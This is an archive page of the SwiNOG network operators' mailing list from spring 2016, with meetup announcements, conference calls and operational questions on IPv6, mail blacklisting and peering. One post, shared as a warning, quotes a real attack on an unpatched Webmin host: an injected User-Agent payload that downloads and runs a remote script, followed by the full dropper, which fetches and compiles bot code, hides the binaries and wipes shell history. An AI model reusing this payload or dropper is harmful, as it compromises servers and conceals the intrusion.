- swinog - vmaill01.sys

Postponed or canceled? SwiNOG-BE156 - Beer Event 156 @ Papa Joe's / ZH, Monday, 2016-06-27
by Emanuel Kleindienst 24 Jun '16

24 Jun '16

Hi there, As we're having another event at VSHN which needs my attendance, we need either to postpone or cancel the upcoming SwiNOG-BE156 beering in Zurich on June, 27th. Pls. let me know if we shall choose Monday, the 4th of July instead? If 4th of July, who's coming? Pls. reply by email, thanks. Have an fantastic Wednesday with tons of sun! Cheers, Emanuel -- Emanuel Kleindienst CCO VSHN AG | Neugasse 10 | CH-8005 Zürich T: +41 44 545 53 00 | M: +41 79 382 73 77 | https://vshn.ch Talk to me! https://doodle.com/VSHNemanuel -----Original Message----- From: Emanuel Kleindienst [mailto:emanuel.kleindienst@vshn.ch] Sent: Mittwoch, 18. Mai 2016 14:50 To: swinog(a)lists.swinog.ch Cc: swinog(a)flachmueller.ch Subject: SwiNOG-BE155 - Beer Event 155 @ Papa Joe's / ZH, Monday, 2016-05-23 SwiNOG-BE155 - Beer Event 155 @ Papa Joes / ZH Dear SwiNOGers, Let's have some Beer & Food at Papa Joe's, a new location again! Upcoming events for rest of 2016: > SwiNOG-BE156: Mo, 27.6.16 > SwiNOG-BE157: Mo, 25.7.16 (summer vacations...) > SwiNOG-BE158: Mo, 29.8.16 > SwiNOG-BE159: Mo, 26.9.16 > SwiNOG-BE160: Mo, 24.10.16 > SwiNOG-BE161: Mo, 28.11.16 > SwiNOG-BE162: Mo, 12.12.16 (Christmas dinner) Looking forward seeing you! Emanuel, Mobile +41 79 382 73 77, Email emanuel(a)vshn.ch Details for this event: ----------------------------------------------- Event: SwiNOG-BE155 - Beer Event 155 When? Monday, 23rd May 2016 18:30 Where? Papa Joes Schifflaende 18, 8001 Zurich, http://www.papajoes.ch/en/Food/ (GoogleMaps Link: http://goo.gl/maps/EBkrpnBHnp62) Places avaiable? 12 !! Please sign up if you're really coming - because the seats are limited! !! ----------------------------------------------- Registration: Start: Wednesday, 18th May 2016 - 14:45 Stop: Monday, 23rd May 2016 - 16:00 Reg-URL: http://swinog.be/ ----------------------------------------------- Since we have to make reservations, I need to know who's coming and who not. If you can't attend and you're registered please inform me ASAP (+41 79 382 73 77). greetings Emanuel Kleindienst

1 1

mobile providers with IPv6 in switzerland?
by Gert Doering 13 Jun '16

13 Jun '16

Hi, preparing myself for the panel discussion on Silvia's IPv6 conference next week, I wonder if there are any mobile providers in Switzerland that are offering IPv6 connectivity today - and if yes, which flavor (single-stack IPv6 with NAT64/DNS64 like TMO USA, or dual-stack v4+v6 with v4 CGN like T-Mobile DE), and whether it's default-on for anything yet... thanks :-) Gert Doering -- NetMaster -- have you enabled IPv6 on something today...? SpaceNet AG Vorstand: Sebastian v. Bomhard Joseph-Dollinger-Bogen 14 Aufsichtsratsvors.: A. Grundner-Culemann D-80807 Muenchen HRB: 136055 (AG Muenchen) Tel: +49 (0)89/32356-444 USt-IdNr.: DE813185279

6 9

Someone from OVH on this list?
by Tobias Goeller 07 Jun '16

07 Jun '16

Hi All, Could someone (preferably from the NOC / ABUSE) Team from OVH please contact me off-list? Thanks in advance Kind Regards Tobias Göller -- E = M * C^2 +/- 3db

1 0

Looking for two CISCO7301-AC
by Mark Walliser 31 May '16

31 May '16

Hello SwiNOGers We're in need of two CISCO7301-AC routers. (>= 512MB RAM). We are well aware that there are plenty of cheap offers on ebay, but maybe we can avoid shipping 'em thousands of miles. If you have one or two on sale, please contact me offlist => mwalliser(a)monzoon.net Thank you & Cheers! Mark

1 0

Small Entry for Blacklist
by gebhardt＠openfactory.ch 28 May '16

28 May '16

Hi Guys, Webmin has/had a security hole in one of their templates, I just found a hacked colocated machine that was obviously not patched in time: http://ugotownedz.org/mg;sh nice script, tells you which IP's to blackhole :) The Entrance was: im HTTP_USER_AGENT header HTTP_USER_AGENT=(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || bash -c "wget http://ugotownedz.org/mg -O /tmp/mg;curl -o /tmp/mg http://ugotownedz.org/mg;sh /tmp/mg;rm -rf /tmp/mg" ----- Webmin 1.801 released The primary reason for this update is to fix a serious security issue that effects users using the Authentic theme versions prior to 18.00 - All users should upgrade ASAP!. It also includes tracking for recent logins, better behavior when updating multiple packages, translation updates and more. You can get it from the Webmin downloads page, or from our YUM or APT repositories. ----- I guess this might be useful for some here to know ;) Silvan ---- #!/bin/sh apt-get -y install gcc || aptitude -y install gcc || yum -y install gcc apt-get -y install libssh || aptitude -y install libssh || yum -y install libssh apt-get -y install libssh-dev || aptitude -y install libssh-dev || yum -y install libssh-dev wget http://ugotownedz.org/pass.h -o /tmp/pass.h || curl -o /tmp/pass.h http://ugotownedz.org/pass.h wget http://ugotownedz.org/PwNzbot.c -O /tmp/PwNzbot.c || curl -o /tmp/PwNzbot.c http://ugotownedz.org/PwNzbot.c gcc -o /tmp/a /tmp/PwNzbot.c mv /tmp/a /dev/shm/aaaa mv /tmp/a /usr/lib/.aaaa chmod +x /dev/shm/aaaa chmod +x /usr/lib/.aaaa /usr/lib/.aaaa /dev/shm/aaaa chmod +x /tmp/a /tmp/a wget http://ugotownedz.org/pmabot.c -O pmabot.c || curl -o pmabot.c http://ugotownedz.org/pmabot.c gcc -o .X0-unix pmabot.c ./.X0-unix wget http://ugotownedz.org/PwNzbot.c -O /tmp/a.c || curl -o /tmp/PwNzbot.c http://ugotownedz.org/a.c gcc -o /tmp/a /tmp/PwNzbot.c mv /tmp/a /dev/shm/weed mv /tmp/a /usr/lib/.weed chmod +x /dev/shm/weed chmod +x /usr/lib/.weed /usr/lib/.weed /dev/shm/.weed chmod +x /tmp/.weed /tmp/.weed rm -rf /tmp/PwNzbot.* rm -rf /tmp/a.* rm -rf /tmp/pmabot.* rm -rf /tmp/kait. rm -rf pmabot.* rm -rf PwNzbot.* rm -rf a.* wget ftp://67.68.120.2/apache.ico || curl -O ftp://67.68.120.2/apache.ico perl apache.ico rm -rf .bash_history wget http://ugotownedz.org/kait.c -O /tmp/kait.c || curl -o kait.c http://ugotownedz.org/kait.c gcc -o /tmp/.X1-unix /tmp/kait.c -lssh /tmp/.X1-unix wget ftp://67.68.120.2/PK.ico || curl -O ftp://67.68.120.2/PK.ico php PK.ico rm -rf .bash_history rm -rf PK.ico.1 rm -rf kait.*

1 0

[CfP] Call for presentation for DENOG8, 23-24 November 2016 in Darmstadt
by Arnold Nipper 27 May '16

27 May '16

GrÜezi / bonjour / ciao / bun di ... now switching to English :) The eighth meeting of the German Network Operators Group (DENOG) will be held in Darmstadt, Germany on the 23rd and 24th of November 2016. We are pleased to hereby invite applications for presentations or lightning talks to be held at this event. General Information =================== DENOG is a community for professionals within Germany who are operating, designing or researching the Internet. It provides a technical forum where those working on, with and for the Internet can come together to solve problems with every aspect of their (net)work. The meeting is designed to provide an opportunity for the exchange of information among network operators, engineers, researchers and other professionals close to the network community. More information about DENOG (in German) can be found at http://www.denog.de/ Information about the meeting will be published at http://www.denog.de/meetings/ Meeting Countdown ================= What When ------------------------------------------------------ Publication of Call for Presentations May 10, 2016 Deadline for all submissions August 31, 2016 Publication of preliminary program September 30, 2016 Deadline for receipt of final present. November 7, 2016 Meeting Days November 23/24, 2016 Topics for Presentations/Talks ============================== The DENOG Programme Committee is seeking presentation proposals from the community for the meeting days. The meeting will have one single track of presentations. Length of presentation incl Q&A should last between 20 - 30 minutes. Lightning Talks are linmited to a maximum of 10 minutes. Feel free to send in as many presentations as you want. DENOG meetings are very network centric and we are looking for presentations covering topics of network engineering and operation. These topics could be: - Network and resource planning - Data centre technologies - Network and routing security - Internet peering - IPv6 deployment - Network operations Language of Slides and Talks ============================ To appeal to a wide international audience we ask you to keep the spoken language of your presentation to English and also produce the slides in English. Recordings and Publications =========================== We will publish your slides and a video recording of your talk after the event. We kindly ask you to honor the copyright of any media in your presentation. Should you have any concerns regarding any form of publication please get in touch with the program committee before the event. Submission Guidelines ===================== All submissions must have a strong technical bias and must not be solely promotional for your employer. We strongly discourage product marketing talks. Please remember that your presentations should be suitable for a target audience of technicians from varied backgrounds, working for companies whose sizes may vary considerably. To submit a proposal for a presentation, we request that you provide the following information as plain text or PDF format to <pc(a)meeting.denog.de>: * the name of the presenter (and if applicable your affiliation) * a working email address * the title of the presentation * its expected length (in minutes) * the preferred spoken language for the presentation * a short abstract of the presentation (not more than 200 words) We will collect all submissions until the deadline for submissions and then will collectively vote on all submissions. You will receive feedback once the final decision has been made. We also welcome suggestions for specific presentations which you feel would be valuable to the DENOG community. If you have any questions or requests concerning presentation submissions please send mail to <pc(a)meeting.denog.de> Best regards and see you in Darmstadt Arnold -- Arnold Nipper email: arnold(a)nipper.de phone: +49 6224 5593407 2 mobile: +49 172 2650958 fax: +49 6224 5593407 9

1 0

SwiNOG-BE155 - Beer Event 155 @ Papa Joe's / ZH, Monday, 2016-05-23
by Emanuel Kleindienst 20 May '16

20 May '16

SwiNOG-BE155 - Beer Event 155 @ Papa Joes / ZH Dear SwiNOGers, Let's have some Beer & Food at Papa Joe's, a new location again! Upcoming events for rest of 2016: > SwiNOG-BE156: Mo, 27.6.16 > SwiNOG-BE157: Mo, 25.7.16 (summer vacations...) > SwiNOG-BE158: Mo, 29.8.16 > SwiNOG-BE159: Mo, 26.9.16 > SwiNOG-BE160: Mo, 24.10.16 > SwiNOG-BE161: Mo, 28.11.16 > SwiNOG-BE162: Mo, 12.12.16 (Christmas dinner) Looking forward seeing you! Emanuel, Mobile +41 79 382 73 77, Email emanuel(a)vshn.ch Details for this event: ----------------------------------------------- Event: SwiNOG-BE155 - Beer Event 155 When? Monday, 23rd May 2016 18:30 Where? Papa Joes Schifflaende 18, 8001 Zurich, http://www.papajoes.ch/en/Food/ (GoogleMaps Link: http://goo.gl/maps/EBkrpnBHnp62) Places avaiable? 12 !! Please sign up if you're really coming - because the seats are limited! !! ----------------------------------------------- Registration: Start: Wednesday, 18th May 2016 - 14:45 Stop: Monday, 23rd May 2016 - 16:00 Reg-URL: http://swinog.be/ ----------------------------------------------- Since we have to make reservations, I need to know who's coming and who not. If you can't attend and you're registered please inform me ASAP (+41 79 382 73 77). greetings Emanuel Kleindienst

1 1

bluewin MX is blocking our mails
by Markus Meier 17 May '16

17 May '16

Hello everybody We moved our equipment to a new location and a new IP range. In the first few days a lot of outgoing email where blocked from various reputation filters. In the meantime we could fix most of the issues. Phuh... ;-) Since today morning, the bluewin MX blocks our messages again. I already requested for a statistic reset at "Cloudmark". What's wrong with our "reputation"? Hostname saturn.uptm.ch (mail.uptm.ch) IPv4 185.104.16.21 IPv6 2a00:f740:100::15:1 PTR should be correct SPF set for all customers domains Thank you for any hint. It would also be nice, if someone from bluewin could contact me offlist and provide some more information, what made our IP evil again. Regards Markus Meier -- Innotronic Ingenieurbüro GmbH Informatik | Telekommunikation Lerzenstrasse 27, 8953 Dietikon, Switzerland Telefon +41 44 997 17 27 Web http://www.inno.ch/

2 1

Area41 Security Conference
by Adrian Leuenberger 17 May '16

17 May '16

Hi all, After seeking permission from the Swinog Core Team I'd like to draw your attention for an instant to the Area41 security conference (http://area41.io). The conference happens at the Komplex457 in Zurich on June 10th/11th 2016 and is organized by members of DEFCON Switzerland (DC4131, a local Defcon chapter). We have published this year's schedule recently. Check it out at http://area41.io/agenda/ and if you like it, book your ticket here: https://area41.eventbrite.com Best regards and hope to see you at Area41, Your Area41 organizing committee P.S. Should you know potentially interested sponsors then please get in touch with us! -- DEFCON Switzerland adrian(a)defcon-switzerland.org GPG: 0xE85F6BDB http://www.defcon-switzerland.org @defconch / @a41con

1 0

Swisscom mobile
by xaerni 09 May '16

09 May '16

Cold someone from Swisscom Mobile me contact offline?Xaver Von meinem Samsung Gerät gesendet.

1 0

[CfP} Call for Presentations for EPF11 in Sofia, Bulgaria, 19-21 September 2016
by Arnold Nipper 04 May '16

04 May '16

Call for Presentations European Peering Forum 11 AMS-IX, DE-CIX, LINX, Netnod and guest IXP NIX.CZ, are happy to host the 11th European Peering Forum (EPF) in Sofia, Bulgaria from the 19th - 21st September 2016. The event will welcome up to 250 peering managers and coordinators from networks connected to the host Internet exchanges. Besides an interesting topical agenda, the three-day event accommodates room for attendees to meet on a one-to-one basis to discuss bilateral peering business opportunities. The programme committee will be looking for presentations and lightning talks related to peering and technical topics of interconnection. Your presentation should address * Interconnection Automation * Regional Peering * Interconnection and Peering Internet Governance and Regulatory Topics * Economic and Product Trends * Peering/Interconnection Strategy * Interesting findings about peering * 100GE and beyond Submissions =========== Presentations must be of a non-commercial nature. Product or marketing heavy talks are strongly discouraged. Submissions of presentations should be made to the programme committee <epf-pc(a)peering-forum.eu>. Please include: * Author's name and e-mail * Presentation title * Abstract * Slides (if available) * Time requested Deadlines ========= Presentation Abstract Deadline 18/07/2016 12:00 UTC Final Selection of Speakers 29/07/2016 Presentation Slides Submission Deadline 02/09/2016 12:00 UTC More information about the event and other activities around EPF11 may be found at https://peering-forum.eu/ Best regards, Arnold -- Arnold Nipper email: arnold(a)nipper.de phone: +49 6224 5593407 2 mobile: +49 172 2650958 fax: +49 6224 5593407 9

1 0

SwissIX Birthday Party
by Ulf Kieber 04 May '16

04 May '16

SwissIX Birthday Party Dear SwissIX Members, Peers, Colleagues, Sponsors, and Friends, it is my pleasure to remind you all that the SwissIX Internet Exchange Association was founded on March 9, 2001 and first registered with the Zurich Register of Commerce on Oct 5, 2001. We are thus celebrating our 15th anniversary this year. But what's an anniversary without a decent party? We therefore would like to invite you to join us on Tuesday, June 7, 2016, 1900 CEST (doors open at 1800 CEST) at Steinfels, Heinrichstr. 267, 8005 Zürich for a big "Happy Birthday, SwissIX" Party, to have some food and drinks together and maybe meet some of the peers you never met in person before. Please register by mail to party(a)swissix.ch <mailto:party@swissix.ch?subject=Registration&body=Name:%20%0D%0AAffiliation:%20%0D%0ARemarks:%20%0D%0A> stating your name and affiliation. There will also be a limited number of places for non-members and non-participants. If you are a party interested in joining the SwissIX Association and/or the Exchange Point, a member of the press, or feel you can contribute to our event in another way, you are welcome to register. In this case, please explain a bit more about yourself and why you would like to accompany us. All registrations are subject to approval by the Board. For those traveling farther, we have reserved a small contingent of hotel rooms. If you would like to benefit from our discounted rate, please hurry up registering before May 7, and notify us in your email. We will then get you in touch with the hotel. We would like to thank our hardware supplier Brocade for sponsoring this event. Happy peering and happy networking. PS: Please feel free to redistribute. This invitation may also be found at https://www.swissix.ch/swissix-birthday-party -- s w i s s i x - Swiss Internet Exchange Ulf Kieber President Follow us: http://twitter.com/swissix http://www.linkedin.com/company/swiss-internet-exchange http://www.xing.com/companies/swissix-swissinternetexchange

1 0

Special Council Event about Internet Web Performance, comparison IPv4 vs IPv6
by Silvia Hagen 26 Apr '16

26 Apr '16

Dear Swinog Members Our next event might be of interest to some of you. The Swiss IPv6 Council has monitored web access to a number of dual-stack Websites over a period of 2 months, comparing IPv4 vs IPv6 performance, with about 20 agents set up all over Switzerland and connected via different providers. At our next event we present the results. Title: Talking to Dual-stack Websites Date: Monday May 30, 2016 Location: Digicomp Academy, Zurich Time: 6pm to 7.30pm, followed by networking drinks and snacks You are cordially invited. The cost is CHF 20 for non Council IPv6 Experts, to be paid at entrance. Find detailed description and registration here: https://www.digicomp.ch/events/it-professional-events/talking-to-dualstack-… Event language is German. Also in case you plan to come to the IPv6 Business conference<http://www.ipv6conference.ch/> on June 16, Early Bird Rate is valid until April 30 (390.00 instead of 460.00) and with your discount code SwiNOG-Discount you get CHF 100.00 off. Conference language is English. Looking forward to seeing you Silvia Hagen Chair Swiss IPv6 Council Sunny Connection AG CH-8124 Maur +41 (0)44 887 62 10 www.sunny.ch<http://www.sunny.ch/> http://twitter.com/sunny_shagen ****************************************** IPv6 Business Conference, June 16, 2016, Zurich<http://www.ipv6conference.ch/> International Top Speakers, Unique Program Great Networking - register now<http://www.ipv6conference.ch/register/>! ****************************************** Switzerland is in the Top 5 in IPv6 User Adoption We reached 25%, on our way to 30%! ****************************************** Our website is dual-stack - how about yours? ******************************************

1 0

SwiNOG-BE154 - Beer Event 154 @ Wirtschaft zum Vorbahnhof / ZH, Monday, 2016-04-25
by Emanuel Kleindienst 19 Apr '16

19 Apr '16

Dear SwiNOGers, Lets have some Beer & Food at Restaurant Vorbahnhof, a new location! Details for the next event: ----------------------------------------------- Event: SwiNOG-BE154 - Beer Event 154 When? Monday, 25th April 2016 18:30 Where? Wirtschaft zum Vorbahnhof Zollstrasse 2, 8005 Zurich http://www.vorbahnhof.ch/speisen-und-getraenke/ (GoogleMaps Link: http://https://goo.gl/maps/V98Q5QbSciR2) Places available? 10 !! Please sign up if you're really coming - because the seats are limited! !! ----------------------------------------------- Registration: Start: Tuesday, 19th April 2016 - 13:25 Stop: Monday, 25th April 2016 - 16:00 Reg-URL: http://swinog.be/ ----------------------------------------------- Since we have to make reservations, I need to know who's coming and who not. If you can't attend and you're registered please inform me ASAP (+41 79 382 73 77). Upcoming events for rest of 2016: > SwiNOG-BE155: Mo, 23.5.16 > SwiNOG-BE156: Mo, 27.6.16 > SwiNOG-BE157: Mo, 25.7.16 (summer vacations...) > SwiNOG-BE158: Mo, 29.8.16 > SwiNOG-BE159: Mo, 26.9.16 > SwiNOG-BE160: Mo, 24.10.16 > SwiNOG-BE161: Mo, 28.11.16 > SwiNOG-BE162: Mo, 12.12.16 (Christmas dinner) Looking forward seeing you! Cheers, Emanuel Kleindienst

1 0

IPv6 Business Conference, June 16, Arena Sihlcity Zurich
by Silvia Hagen 14 Apr '16

14 Apr '16

Dear Swinog Members Just in time for the end of last year the world took the 10% mark for global IPv6 user adoption (as I had promised). So we are up to the next 10%. In order to further support the deployment of IPv6 at all levels we are again offering a Swiss IPv6 Business conference. Please take the opportunity and join us. Besides an attractive program there is a lot of good networking going on at these conferences. Make us of the early bird price valid until April 30. The details: Date: June 16, Arena Sihlcity Zurich Discount: Use "SwiNOG-Discount" for a CHF 100.- discount. Registration: http://www.ipv6conference.ch/register. Use "click here to enter a promotion code" at the end of the registration page. Highlights: * New this year : Track for Apps and DevOps and 90 minute panel discussion * International top speakers * Early bird price until April 30th * Ticket includes coffee, lunch and networking apero. * With pre- and postconference workshops * One day IPv6 Refresher Workshop * All sessions and workshops in English I look forward to seeing you there. Cheers Silvia Hagen Chair Swiss IPv6 Council Sunny Connection AG CH-8124 Maur +41 (0)44 887 62 10 www.sunny.ch<http://www.sunny.ch/> http://twitter.com/sunny_shagen ****************************************** IPv6 Business Conference, June 16, 2016, Zurich<http://www.ipv6conference.ch/> International Top Speakers, Unique Program Great Networking - save the date! ****************************************** Switzerland is in the Top 5 in IPv6 User Adoption We reached 25%! *********************************** Our website is dual-stack - how about yours? ***********************************

1 0

20 Minuten Online gehackt?
by info＠spiron.ch 08 Apr '16

08 Apr '16

Hallo Zusammen Hatte soeben einen Tipp bekommen dass 20 Minuten Online gehackt wurde. http://www.tagesanzeiger.ch/schweiz/standard/Bundesverwaltung-blockiert-Web… Seite ist bei uns gesperrt. Würde euch das auch empfehlen um schaden vorzubeugen. Grüsse aus Wallisellen Rony Spitzer Netzwerk & Broadcast Services kameramann.ch [1] GmbH Hertistrasse 25 8304 Wallisellen - Zürich NEU mit sechs fiber-basierten und vernetzten AVID- und Premiere Suiten. Der grösste, private Anbieter für ENG- und Postproduktion-Services in der Region Zürich. Links: ------ [1] http://kameramann.ch/

8 8

A little OT: scans of old phonebook tarif pages
by Simon Biddle 06 Apr '16

06 Apr '16

Hi all, Was wondering if any of you have old phonebooks (or an idea of) that have the pricing for local, long-distance & internationals calls from the 70s (or earlier) to PTT breakup & privatisation (1998?)? If you could scan them so we can compare with other bits of the world it'd be really cool. Cheers, S.

3 2

ISOC-CH invites to Internet Policy Topics, Fri 08.04.2016, 13:00, Bern
by Jan Boogman 30 Mar '16

30 Mar '16

HI, We, the Internet Society Switzerland Chapter (ISOC-CH), cordially invite you to our presentation and discussion session taking place on Friday, 8th of April, 13:00-17:30, at the University of Bern (next to central railway station). http://www.isoc.ch/events/annual-general-assembly-2016 We offer you an interesting program, around the currently hot topics in the Swiss Internet landscape: Surveillance (BÜPF/NDG), Network Neutrality and Network Blocking, with speakers from Digitale Gesellschaft, the telecommunications regulator (BAKOM/OFCOM), Pirate Party and others. We encourage the audience to ask questions and contribute to a successful discussion on the topics. The event is open to everybody interested in matters around the Internet and free of change. Right after these sessions, we invite the participants to an apéro riche. (After the apéro riche ISOC-CH will held it annual General Assembly.) Please find more information, updates and registration on: http://www.isoc.ch/events/annual-general-assembly-2016 The room capacity is limited. Therefore we kindly ask you to register latest by April 6th. This event is open to everyone interested in Internet related topics in Switzerland. In case of a shortage of places, ISOC-CH members are given priority. We are looking forward to meet you on April 8th! All the best, ISOC-CH Board

1 0

TR-069 & Security / Swisscom Router
by Nico Schottelius 27 Mar '16

27 Mar '16

Hello Swinog, we've recently audited a small network and found that the customer configured devices were relatively secure configured. However the Swisscom Router/WiFi device (Zylex P-870HN-53b) seems to have the old uPNP exploit with a firmware that is not being updated anymore (upnp was disabled though - so this is hopefully not a big issue). However, when scanning the router from outside, the port 7547 is openly reachable from the internet, which turns out to be TR 069 [0]. My question to the list is, if anyone can comment on the security of TR-069? And if it is a potential or real security problem to have the port open world wide? We have never used TR-069 it so far, but my assumption would be that this port should only be reachable from a Swisscom admin network, however it is open world wide. As far as I can see the communication on port 7547 is plain http with http auth, which doesn't look very safe to me. Does anyone here use TR-069 and if so, what is your the default policy for accessing the port? Thanks a lot for your help and greetings from the last snow! Nico [0] https://en.wikipedia.org/wiki/TR-069 -- Werde Teil des modernen Arbeitens im Glarnerland auf www.digitalglarus.ch! Lese Neuigkeiten auf Twitter: www.twitter.com/DigitalGlarus Diskutiere mit auf Facebook: www.facebook.com/digitalglarus

4 3

Swisscom now peering with Netflix
by Fredy Kuenzler 25 Mar '16

25 Mar '16

In case you missed it: Swisscom now peering with Netflix after big shitstorm in social media and general media yesterday and today. http://pastebin.com/sgwD3qfh I suppose the peering policy of Swisscom is now obsolete, as well as their monetizing OTT strategy. It's a good day for real netneutrality, not the crippled version of some larger Swiss operators. -- Fredy Kuenzler --------------------- Fiber7. No Limits. https://www.fiber7.ch --------------------- Init7 (Switzerland) Ltd. AS13030 St.-Georgen-Strasse 70 CH-8400 Winterthur Skype: flyingpotato Phone: +41 44 315 4400 Fax: +41 44 315 4401 Twitter: @init7 / @kuenzler http://www.init7.net/

3 2

Big Caarrier break the net
by Roger 25 Mar '16

25 Mar '16

Just after tracing an shacking connection i discovered some icmp discrepancy and look what the trace says 6 embratel-G2-0-0-gacc12.rjo.embratel.net.br (201.39.103.69) [AS8151/AS4230/AS28513] 80.158 ms 73.268 ms 73.223 ms 7 200.244.165.238 (200.244.165.238) [AS4230/AS28513] 79.789 ms 79.776 ms 79.764 ms 8 200.244.216.75 (200.244.216.75) [AS4230/AS28513] 76.048 ms 200.244.216.43 (200.244.216.43) [AS4230/AS28513] 73.003 ms 72.954 ms 9 ebt-BP1224-intl04.mianap.embratel.net.br (200.230.251.130) [AS4230/AS8151/AS28513] 191.910 ms 195.430 ms ebt-BP1214-intl04.mianap.embratel.net.br (200.230.220.22) [AS4230/AS8151/AS28513] 195.714 ms 10 ae52.edge1.Miami2.Level3.net (4.59.240.117) [AS3356] 199.631 ms 199.988 ms 199.939 ms 11 ae-13-3505.car3.Washington1.Level3.net (4.69.158.145) [AS3356] 229.746 ms 229.744 ms 229.693 ms 12 4.68.72.14 (4.68.72.14) [AS3356] 200.297 ms 199.644 ms 199.665 ms 13 * * * 14 * * * 15 * * * 16 * * * 17 * * * 18 62.179.16.54 (62.179.16.54) [AS9141] 320.477 ms 303.223 ms 305.160 ms 19 * * * 20 * * * yeah .. who wonders, the last seen hop seems to be there where maybe your missed car allready is ;) the target is an unnamed swiss hoster in Kanton ZH ;)

1 0

SwiNOG-BE153 - Beer Event 153 @ Don Weber / ZH, Tuesday, 2016-03-29
by Emanuel Kleindienst 24 Mar '16

24 Mar '16

Dear SwiNOGers, Let's have some Beer & Food at DON WEBER! Upcoming events for rest of 2016: > SwiNOG-BE154: Mo, 25.4.16 > SwiNOG-BE155: Mo, 23.5.16 > SwiNOG-BE156: Mo, 27.6.16 > SwiNOG-BE157: Mo, 25.7.16 (summer vacations...) > SwiNOG-BE158: Mo, 29.8.16 > SwiNOG-BE159: Mo, 26.9.16 > SwiNOG-BE160: Mo, 24.10.16 > SwiNOG-BE161: Mo, 28.11.16 > SwiNOG-BE162: Mo, 12.12.16 (Christmas dinner) Looking forward seeing you! Emanuel, Mobile +41 79 382 73 77, Email emanuel(a)vshn.ch Details for the next event: ----------------------------------------------- Event: SwiNOG-BE153 - Beer Event 153 When? Tuesday, 29th March 2016 18:30 Where? Don Weber Heinrichstrasse 213, 8005 Zürich http://www.donweber.ch/ (GoogleMaps Link: http://goo.gl/maps/PqOPb) Places avaiable? 16 !! Please sign up if you're really coming - because the seats are limited! !! ----------------------------------------------- Registration: Start: Friday, 4th March 2016 - 18:35 Stop: Tuesday, 29th March 2016 - 16:00 Reg-URL: http://swinog.be/ ----------------------------------------------- Since we have to make reservations, I need to know who's coming and who's not. If you can't attend and you're registered please inform me ASAP (+41 79 382 73 77). Cheers, Emanuel Kleindienst

1 0

Re: [swinog] Reject von hotmail.com -- also Swiss providers do this nonsense
by Charles Buckley 22 Mar '16

22 Mar '16

I have also been having trouble with my Swiss provider (hosttech) making such insane spam rejections. 1. Recently I travelled to Germany, and stayed at a hotel using Deutsche Telekom as broadband provider. Apparently the entire DT DSL pool appears on two blacklists, so Hosttech just ignore them. No error message is returned, just a timeout -- a behavior so typical of Swiss bureaucracy. I got around this by using Google or GMX to send my mails. Hosttech first tried to tell me my settings were wrong (not likely), but finally had to confess that they were the problem. 2. Some time ago, I sent an email message containing the name of a Rumanian colleague in the body. That time I got an error message saying 'This server doesn't like spam.' I took the Rumanian name out, left everything else the same (except the recipient address, as the mail no longer made sense to the original recipient) and the mail went through fine. Concerning the first problem, Hosttech claim they fear getting on blacklists themselves, or that evil scripts might get uploaded to the SMTP server. I've never heard of such a thing, but even if it were true, since they use SMTP-Auth, isn't it enough to insist that the SMTP-Auth credentials are restricted to users who don't send spam, and to block the credentials of those who do? Why make something simple so bureaucratically difficult and obnoxious? To expect a user travelling on business to drop everything in their busy schedule to get IP addresses out of a DSL pool removed from blacklists by contacting a local broadband administration with whom they are not customers strikes me as completely unreasonable. Charles Buckley -----Original Message----- From: swinog-bounces(a)lists.swinog.ch [mailto:swinog-bounces@lists.swinog.ch] On Behalf Of Jeroen Massar Sent: 18 March, 2016 10:03 To: swinog(a)lists.swinog.ch Subject: Re: [swinog] Reject von hotmail.com On 2016-03-18 09:47, Franco Hug wrote: > Hoi zaema, > > Ich beobachte das gleiche Verhalten mit contabo.de, aus dem Netz 178.238.224.0/22, evtl. gar 178.238.224.0/20 ... > >> DE-GIGA-HOSTING-20100728 178.238.224.0 - 178.238.239.255 >> CONTABO 178.238.224.0 - 178.238.227.255 > > Da scheint das ganze Netz auf einer Migro$oft Blacklist gelandet zu sein. > >> 550 SC-001 (BAY004-MC3F37) Unfortunately, messages from >> 178.238.227.40 weren't sent. Please contact your Internet service >> provider since part of their network is on our block list. You can also refer your provider to http://mail.live.com/mail/troubleshooting.aspx#errors. > > Bei den einschlaegig bekannten blacklists ist das Netz auf jeden Fall nicht gelistet. > > In der Tat hatte ich selbst innerhalb der letzten 3 Monate 1x ein Spam-Mail aus diesem Netz erhalten. > Eigentlich nichts Aussergewoehnliches, hin und wieder flutscht halt > mal was durch bei diesen grossen Providern. Dass deswegen ein ganzes > Netz gelistet wird, und somit auch Unschuldige betroffen sind, ist aergerlich. Umso mehr, weil nicht wirklich klar ist, was man genau tun muss, um das Problem zu beheben. Registriere bei postmaster.live.com ... (yep, und auch bei google etc, die grossen haben kein lust um spam zu empfangen, so schieben sie das auf der ISPs die gerne mail wollen schicken) Richtige WHOIS, reverse DNS, SPF + DKIM und naturlich funktionierende abuse@ und abuse mail auch richtig behandeln. abuse-c oben ist abuse(a)contabo.de und wann dort sage 50 /24s hin gehen und aus der 50, 1 /24 viel spam geschickt werde und abuse@ das nicht losst, dan werd gleich die andere 50 auch als 'reagiert nicht' markiert, also.. rufe deine ISP an und frage mal nach ob die abuse behandeln... Greets, Jeroen _______________________________________________ swinog mailing list swinog(a)lists.swinog.ch http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

2 1

Reject von hotmail.com
by Klaus Ethgen 20 Mar '16

20 Mar '16

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Hallo folks, zur Zeit bekomme ich meine Mails an hotmail.com-Adressen mit der Meldung "550 SC-001 (COL004-MC2F18) Unfortunately, messages from 5.9.7.51 weren't +sent. Please contact your Internet service provider since part of their network is on our block list. You can +also refer your provider to http://mail.live.com/mail/troubleshooting.aspx#errors." abgelehnt. Auch mails an postmaster werden, entgegen jeglichen gültigen Standards mit der selben Meldung quitiert. Die IP 5.9.7.51 ist meine Outgoing-Adresse und ist seit Jahren der valide Mailserver meiner Domains. Ich kann auch ausschließen, daß über die Domain auch nur die geringste Spam oder andere Malware versendet wird. Haben noch andere diese Probleme mit hotmail.com bzw. hat wer eine Kontaktmöglichkeit zu denen? Irgendwie habe ich das Gefühl, das die ihre Server nicht im Griff haben. Gruß Klaus Ethgen - -- Klaus Ethgen http://www.ethgen.ch/ pub 4096R/4E20AF1C 2011-05-16 Klaus Ethgen <Klaus(a)Ethgen.ch> Fingerprint: 85D4 CA42 952C 949B 1753 62B3 79D0 B06F 4E20 AF1C -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQGcBAEBCgAGBQJW65PzAAoJEKZ8CrGAGfasZ94MALl72j1zpt646JdZ4nplkYir 